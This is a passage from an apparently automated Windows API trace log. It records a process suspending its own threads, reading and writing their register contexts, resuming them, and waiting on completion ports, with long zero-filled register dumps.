[24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0161.824] SetThreadContext (hThread=0x1bc, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000b10a8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0161.824] ResumeThread (hThread=0x1bc) returned 0x1 [0161.824] CloseHandle (hObject=0x1bc) returned 1 [0161.824] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0161.929] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0162.049] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1c4) returned 1 [0162.051] SuspendThread (hThread=0x1c4) returned 0x0 [0162.051] GetThreadContext (in: hThread=0x1c4, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000b0ea0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f8474e0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0162.054] SetThreadContext (hThread=0x1c4, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000b0e98, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0162.055] ResumeThread (hThread=0x1c4) returned 0x1 [0162.055] CloseHandle (hObject=0x1c4) returned 1 [0162.055] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0162.163] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0162.195] timeEndPeriod (uPeriod=0x1) returned 0x0 [0162.195] WaitForMultipleObjects (nCount=0x2, lpHandles=0x27b6fd48*=0xe8, bWaitAll=0, dwMilliseconds=0x6d0d) returned 0x0 [0162.310] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0162.310] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x27b6f5e8, ulCount=0x10, ulNumEntriesRemoved=0x27b6f5bc, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x27b6f5e8, ulNumEntriesRemoved=0x27b6f5bc) returned 0 [0162.310] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0162.568] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x27b6f5e8, ulCount=0x10, ulNumEntriesRemoved=0x27b6f5bc, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x27b6f5e8, ulNumEntriesRemoved=0x27b6f5bc) returned 0 [0162.568] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1c8) returned 1 [0162.568] SuspendThread (hThread=0x1c8) returned 0x0 [0162.568] GetThreadContext (in: hThread=0x1c8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019eed0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fc88b60, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0162.652] SetThreadContext (hThread=0x1c8, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019eec8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, 